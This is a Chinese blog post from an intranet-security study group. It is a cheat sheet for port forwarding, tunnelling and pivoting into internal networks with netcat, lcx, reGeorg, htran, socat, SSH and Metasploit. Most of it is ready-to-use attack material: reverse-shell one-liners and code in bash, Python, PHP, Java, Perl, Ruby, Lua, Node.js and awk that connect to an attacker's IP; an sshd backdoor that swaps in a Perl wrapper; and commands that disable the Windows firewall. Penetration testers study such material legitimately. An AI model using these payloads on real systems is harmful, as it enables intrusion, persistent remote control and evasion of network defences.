内网小组 | 端口转发全剧终_小言_互联网的博客

内网小组 | 端口转发全剧终

2021-03-25 11:10 428人阅读评论(0)

本文作者：掉到鱼缸里的猫（Ms08067内网安全小组成员）

文章来源｜MS08067 内网安全知识星球

内网纵横四海认准Ms08067

NetCat

方法一：

靶机：


   
    
     
      
     
     
      
       mkfifo 
       /tmp/fifo 
      
     
    
     
      
     
     
      
       cat 
       /tmp/fifo| nc 想要转发的目标 想要转发到的端口 | nc -lp 监听端口> /tmp/fif

攻击机：nc -nv 靶机IP 靶机监听端口

反向Shell：

靶机：


   
    
     
      
     
     
      
       方法一：nc -t -e cmd.exe 攻击机IP 攻击机监听端口
      
     
    
     
      
     
     
      
       方法二：cat /tmp/fifo | 
       /bin/bash -i 
       2>&
       1 | nc 目标IP 端口 > 
       /tmp/fifo
      
     
    
     
      
     
     
      
       方法三：nc -e /bin/sh 
       10.0
       .3
       .4 
       4444 （后期的nc就没有-e的选项了）
      
     
    
     
      
     
     
      
       攻击机（公网）：nc -lvp 监听端口

不能转发3389

正向shell

靶机：


   
    
     
      
     
     
      
       $ mkfifo /tmp/fifo 
      
     
    
     
      
     
     
      
       $ cat /tmp/fifo 
       | /bin/bash -i 2>&1 | nc -l 本地端口 > 
       /tmp/fifo 
       12

攻击机：nc 目标IP 端口

lcx

服务端：lcx -slave 公网IP 公网端口本地IP 本地端口

公网客户端：lcx -listen 远程端口本地端口

客户端连接本地端口，对应于连接远程端口

先启动listen，再启动slave

reGeorg

服务端：上传脚本到Web目录，服务器要求打开 enable_dl 功能

同时安装 php_sockets扩展客户端：

reGeorgSocksProxy.py -p 本地端口 -u http://目标服务器上的脚本

使用Proxifier将需要的流量引入本地端口sock5模式

有脚本可以指定不使用sock5协议

Tunna


   
    
     
      
     
     
      
       靶机：上传脚本到Web目录，PHP就不要用了，及其不稳定
      
     
    
     
      
     
     
      
       攻击机：proxy.py -u http:
       //脚本地址 -l 本地端口 -r 目标端口（服务器） -v

使用Proxifier将需要的流量引入本地端口sock5模式

使用 -n 参数关闭sock协议

这个False问题不大

不能用linux的rdesktop连接，要用Windows的远程桌面连接

这种情况问题也不大

点击是之前再运行一次脚本就行

reDuh

服务端：上传脚本到Web目录

客户端：java -jar reDuhClient.jar http://脚本位置进行连接

本地连接java返回的本地端口 nc -vv localhost 本地端口

在命令提示符中输入 [createTunnel]本地空闲端口：目标地址（想要访问的目标内网地址）：目标端口

htran

服务器（目标主机）：htran -slave 跳板IP 跳板port 本地ip 本地端口

跳板机：htran -tran 跳板port 公网IP 公网端口

客户端（公网主机）：htran -listen 公网监听端口流量接收端口

socat

靶机：socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公网IP:公网端口

攻击机：socat TCP-LISTEN:端口 - ，nc监听也行

SSH

穿透两个网络

公网跳板A：跳板A在B和C的两个内网中间


   
    
     
      
     
     
      
       打开sshd的Gateway功能：
      
     
    
     
      
     
     
      
       修改/etc/ssh/sshd_config，将 GatewayPorts 设置为yes
      
     
    
     
      
     
     
      
       内网
       1中的B：ssh -p 
       22 -qngfNTR A
      
     
    
     
      
     
     
      
       监听端
       :localhost
       :
       22 A用户@A地址
      
     
    
     
      
     
     
      
       内网
       2中的C：ssh -p A监听的端口 B用户@A地址

本地流量转发


   
    
     
      
     
     
      
       #VPS
      
     
    
     
      
     
     
      
       ssh -CfNg -L VPS端口:目标主机:目标端口跳板机用户@跳板机IP
      
     
    
     
      
     
     
      
       #攻击端流量到VPS端口，被转发

为什么说是“本地”（单纯的-L选项）：

本地端口转发绑定的是 lookback 接口，这意味着只有localhost 或者 127.0.0.1 才能使用本机的端口转发 , 其他机器发起的连接只会得到“ connection refused. ”

但是可以利用GatewayPorts（-g）关键字来与其他机器共享这个本地转发端口。

远程转发


   
    
     
      
     
     
      
       #跳板主机
      
     
    
     
      
     
     
      
       ssh -CfNg -R VPS端口:目标主机:目标端口VPS用户
       @VPS的IP
      
     
    
     
      
     
     
      
       #攻击端流量到VPS端口，被转发

动态转发


   
    
     
      
     
     
      
       ssh -CfNg -D 本地代理端口 VPS用户
       @VPSIP
      
     
    
     
      
     
     
      
       #流量转发到VPS

两层ssh


   
    
     
      
     
     
      
       #Server2
      
     
    
     
      
     
     
      
       ssh -CfNg -D 
       8882 User_Server3
       @Server3
      
     
    
     
      
     
     
      
       #Server1
      
     
    
     
      
     
     
      
       ssh -CfNg -L 
       8080:Server2:8882User_Server2
       @Server2
      
     
    
     
      
     
     
      
       客户端socks5代理Server1:
       8080

NPS

Earthworm(EW)

EW 是一套便携式的网络穿透工具，具有 SOCKS v5服务架设和端口转发两大核心功能，可在复杂网络环境下完成网络穿透。

iox

具有流量加密
友好的命令行参数
逻辑优化
UDP流量转发

https://github.com/EddieIvan01/iox

ngrok

各种系统都支持，支持内网穿透

利用IIS端口共享功能

……说实话，没来得及尝试，单看文档没看懂

利用IIS的端口共享功能绕过防火墙

反弹shell

NC/Telent

telnet 可以换成 nc

方法一：


   
    
     
      
     
     
      
       攻击机nc监听：nc -lp 空闲端口
      
     
    
     
      
     
     
      
       服务端（靶机）：mknod a p;telnet 攻击机IP 攻击机端口 
       0<a | 
       /bin/bash 
       1>a

成功后没有提示，尝试命令即可

mknod命令中，a表示这个管道的名，p表示这个管道为FIFO（先进先出）和mkfifo一样，就是后面mkfifo/tmp/backpipe1这种

方法二：


   
    
     
      
     
     
      
       攻击机：nc-lp 
       6666,nc-lp 
       5555，在监听的
       6666的nc上输入命令，在
       5555的nc上看返回的消息
      
     
    
     
      
     
     
      
       靶机：telnet 攻击机 IP 
       6666| 
       /bin/bash | telnet 攻击机 IP 
       5555

方法三：


   
    
     
      
     
     
      
       靶机执行：netcat -lvp 
       5555 -e /bin/sh 
      
     
    
     
      
     
     
      
       攻击机执行：nc 靶机IP 靶机端口

方法四：


   
    
     
      
     
     
      
       攻击机执行：nc-lvvp 
       5555
      
     
    
     
      
     
     
      
       靶机执行：nc 攻击机IP 端口 -t -e /bin/bash

方法五：

mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回连地址6666 1 > /tmp/backpipe1

并不是所有的NC都有-e选项……有些设备可能/bin下面没有nc，但是busybox可以啊

bash 反弹shell


   
    
     
      
     
     
      
       服务端：bash -i >& 
       /dev/tcp
       /公网IP/公网端口 
       0>&
       1                                                                  
      
     
    
     
      
     
     
      
       客户端：nc -lvvp 端口

加密流量参看权限维持笔记

利用awk、gawk

1. 攻击机执行监听

2. 靶机执行


   
    
     
      
     
     
      
       awk 
      
     
    
     
      
     
     
      
       '
       BEGIN{s=
       "/inet/tcp/0/192.168.1.128/8080";
       for(;s|&getline 
       c;close(
       c))
       while(
       c|getline)
       print|&s;close(s)}'

Python 反弹shell


   
    
     
      
     
     
      
       import socket,subprocess,os;
      
     
    
     
      
     
     
      
       s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
      
     
    
     
      
     
     
      
       s.connect((
       "公网IP"，目标端口)); 
      
     
    
     
      
     
     
      
       os.dup2(s.fileno(),
       0); 
      
     
    
     
      
     
     
      
       os.dup2(s.fileno(),
       1); 
      
     
    
     
      
     
     
      
       os.dup2(s.fileno(),
       2); 
      
     
    
     
      
     
     
      
       p=subprocess.call([
       "/bin/sh",
       "-i"]);

命令行直接执行 python -c '代码'

eval(__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))

php反弹shell


   
    
     
      
     
     
      
       $sock=fsockopen(
       "公网IP",端口); 
      
     
    
     
      
     
     
      
       exec(
       "/bin/sh -i <&3 >&3 2>&3");

命令行执行 php -r '代码'

java反弹shell


   
    
     
      
     
     
      
       public 
       class Revs {
      
     
    
     
      
     
     
       
       /** 
      
     
    
     
      
     
     
      
       * @param args 
      
     
    
     
      
     
     
      
       * @throws Exception 
      
     
    
     
      
     
     
      
       */
      
     
    
     
      
     
     
      
       public 
       static 
       void main(
       String[] args) throws 
       Exception {
      
     
    
     
      
     
     
       
       // TODO Auto-generated method stub 
      
     
    
     
      
     
     
      
       Runtime r = Runtime.getRuntime(); 
      
     
    
     
      
     
     
      
       String cmd[]= {
       "/bin/bash",
       "-c",
       "exec 
      
     
    
     
      
     
     
      
       5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"}; 
      
     
    
     
      
     
     
      
       Process p = r.exec(cmd); p.waitFor(); } }
      
     
    
     
      
     
     
      
       public 
       class Test {
      
     
    
     
      
     
     
       
       public 
       static 
       void main(
       String[] args) throws 
       Exception {
      
     
    
     
      
     
     
        
       // TODO Auto-generated method stub 
      
     
    
     
      
     
     
      
         Runtime r=Runtime.getRuntime();
      
     
    
     
      
     
     
      
         Process p=r.exec(
       new 
       String[]{
       "/bin/bash",
       "-c",
       "bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"}); 
      
     
    
     
      
     
     
      
         p.waitFor(); 
      
     
    
     
      
     
     
      
         } 
      
     
    
     
      
     
     
      
       }

Perl反弹Shell


   
    
     
      
     
     
      
       use Socket;
      
     
    
     
      
     
     
       
       socket(S,PF_INET,SOCK_STREAM,
       getprotobyname(
       "tcp")); 
       if(
       connect(S,sockaddr_in(端口,inet_aton(
       "公网IP")))) 
      
     
    
     
      
     
     
      
       {
      
     
    
     
      
     
     
      
       open(STDIN,
       ">&S"); 
      
     
    
     
      
     
     
      
       open(STDOUT,
       ">&S"); 
      
     
    
     
      
     
     
      
       open(STDERR,
       ">&S"); 
      
     
    
     
      
     
     
      
       exec(
       "/bin/sh -i"); 
      
     
    
     
      
     
     
      
       };

命令行执行 perl -e ‘代码’


   
    
     
      
     
     
      
       perl -MIO -e 
       '$p=fork; 
      
     
    
     
      
     
     
      
       exit,if($p); 
      
     
    
     
      
     
     
      
       $c=new 
      
     
    
     
      
     
     
      
       IO::Socket::INET(PeerAddr,"1.1.1.1:8080"); 
      
     
    
     
      
     
     
      
       STDIN->fdopen($c,r); 
      
     
    
     
      
     
     
      
       $~->fdopen($c,w);system$_ while<>;'

Lua


   
    
     
      
     
     
      
       lua -e 
      
     
    
     
      
     
     
      
       "require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Ruby


   
    
     
      
     
     
      
       ruby -rsocket -e 'exit 
       if 
      
     
    
     
      
     
     
      
       fork;
       c=
       TCPSocket.new(
       "192.168.3.251",
       "8080");
       while(cmd=
       c.gets);
       IO.popen(cmd,
       " r"){|io|
       c.
       print io.read}end'

Node.js


   
    
     
      
     
     
      
       (
       function(){ 
      
     
    
     
      
     
     
      
       var net = 
       require(
       "net"), 
      
     
    
     
      
     
     
      
       cp = 
       require(
       "child_process"), 
      
     
    
     
      
     
     
      
       sh = cp.spawn(
       "/bin/sh", []); 
      
     
    
     
      
     
     
      
       var client = 
       new net.Socket(); 
      
     
    
     
      
     
     
      
       client.connect(
       8080, 
       "10.17.26.64", 
       function(){ 
      
     
    
     
      
     
     
      
       client.pipe(sh.stdin); 
      
     
    
     
      
     
     
      
       sh.stdout.pipe(client); 
      
     
    
     
      
     
     
      
       sh.stderr.pipe(client); 
      
     
    
     
      
     
     
      
       }); 
      
     
    
     
      
     
     
      
       return 
       /a/; 
      
     
    
     
      
     
     
      
       })();

利用sshd反弹shell

方法一：


   
    
     
      
     
     
      
       1. 靶机执行：ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080; 
      
     
    
     
      
     
     
      
       2. 攻击机执行：ssh root@目标 -p 设置的端口 需要密码

方法二：

1. 靶机执行：


   
    
     
      
     
     
      
       cd /usr/sbin/ 
      
     
    
     
      
     
     
      
       mv sshd ../bin/ 
      
     
    
     
      
     
     
      
       echo 
       '#!/usr/bin/perl' >sshd 
      
     
    
     
      
     
     
      
       echo 
       'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd 
      
     
    
     
      
     
     
      
       echo 
       'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd 
      
     
    
     
      
     
     
      
       chmod u+x sshd 
      
     
    
     
      
     
     
      
       /etc/init.d/sshd restart

2. 攻击机执行：

socat STDIO TCP4:192.168.1.129:22,sourceport=13377

MSF 反弹shell 一句话

msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'

xterm下反弹

靶机运行 xterm -display 目标地址:1
接收方运行 xnest :1

Metasploit穿透双层网络

攻击机通过两层跳板，对192.168.12.0/24网络进行扫描

1. 攻击机获得双网卡主机A的meterpreter会话

2. 执行命令，创建路由规则，只要会话不断开Metasploit框架就可以访问192.168.11.0/24网段

meterpreter> run autoroute -s 192.168.11.0/24

3. 配置流量转发代理


   
    
     
      
     
     
      
       meterpreter> 
       background 
      
     
    
     
      
     
     
      
       msf> 
       use auxiliary/server/socks4a 
      
     
    
     
      
     
     
      
       msf 
       auxiliary(socks4a)> set srvhost 本机地址 
      
     
    
     
      
     
     
      
       msf 
       auxiliary(socks4a)> set srvport 想要监听的端口 
      
     
    
     
      
     
     
      
       msf 
       auxiliary(socks4a)> run

4. 在proxychains配置文件中添加sock4代理规则，即可通过proxychains实现流量转发

5. 实现端口转发

meterpreter> portfwd add -L 本地地址 -l 本地空闲端口 -p 目标端口 -r 目标地址

6.获取双网卡主机B的控制权（使用bindTCP的payload，因为反向shell无法路由到攻击机），获取到meterpreter会话之后添加路由规则

meterpreter> run autoroute -s 192.168.12.0/24

7. 再次配置流量转发代理（再开个新端口）

msf auxiliary(socks4a) > set SRVPORT 空闲端口

8. 修改proxychains配置文件，取消下文的注释，添加新的socks4代理


   
    
     
      
     
     
      
       dynamic_chain 
       
      
     
    
     
      
     
     
      
       proxy_dns 
       
      
     
    
     
      
     
     
      
       tcp_read_time_out 
       15000 
      
     
    
     
      
     
     
      
       tcp_connect_time_out 
       8000

利用系统自带功能

Windows 双网卡路由

双网卡Windows主机作为路由：

1.通过注册表允许网卡进行流量转发：修改以下注册表项目为1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter

2. 开启 Routing and Remote Access 服务

3. 两侧主机添加静态路由规则，路由指向双网卡主机

Windows netsh命令端口转发

管理员权限cmd执行

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=转发目标 connectport=转发端口 （ add 换成 delete 就是删除啦~）

不成功的话，先关闭防火墙

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

查看端口映射配置：

netsh interface portproxy show all

1.为e:\f.exe 添加防火墙规则，需要管理员权限。

>netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow

删除

netsh advfirewall firewall delete rule name="f.exe"

２、添加端口

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

删除

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080

iptables

PREROUTING：在进行路由判断之前所要进行的规则(DNAT/REDIRECT)（数据包进入主机后第一步），决定目标地址的改变与否 + 上下路的判定（是过滤型防火墙还是NAT防火墙）。
INPUT:处理入站的数据包
OUTPUT:处理出站的数据包
FORWARD：是否允许被防火墙继续转发 + 是否允许使用Linux的路由/转发功能。
POSTROUTING：对数据包在经过路由表之后，最后一个处理步骤（数据包流出主机前最后的步骤），决定数据包是否需要改变源地址。

两条链重要功能在于修改IP，而这两条链修改的IP又是不一样的，POSTROUTING在修改来源IP，PREROUTING则在修改目标IP 。

由于修改的 IP 不一样，所以就称为来源NAT (Source NAT, SNAT) 及目标 NAT (Destination NAT, DNAT)。

只用POSTROUTING：从请求侧来看的话，只修改源IP

iptables –t nat –A POSTROUTING –s 192.168.10.10 –o eth1 –j SNAT --to-source 111.196.221.212

两个结合起来就可以当做端口转发了：


   
    
     
      
     
     
      
       iptables 
       -t nat -A PREROUTING -p tcp --dport 本机监听端口 -j DNAT --to- destination 目标IP:端口 
      
     
    
     
      
     
     
      
       iptables 
       -t nat -A POSTROUTING -d 目标主机 -j SNAT --to-source 本机IP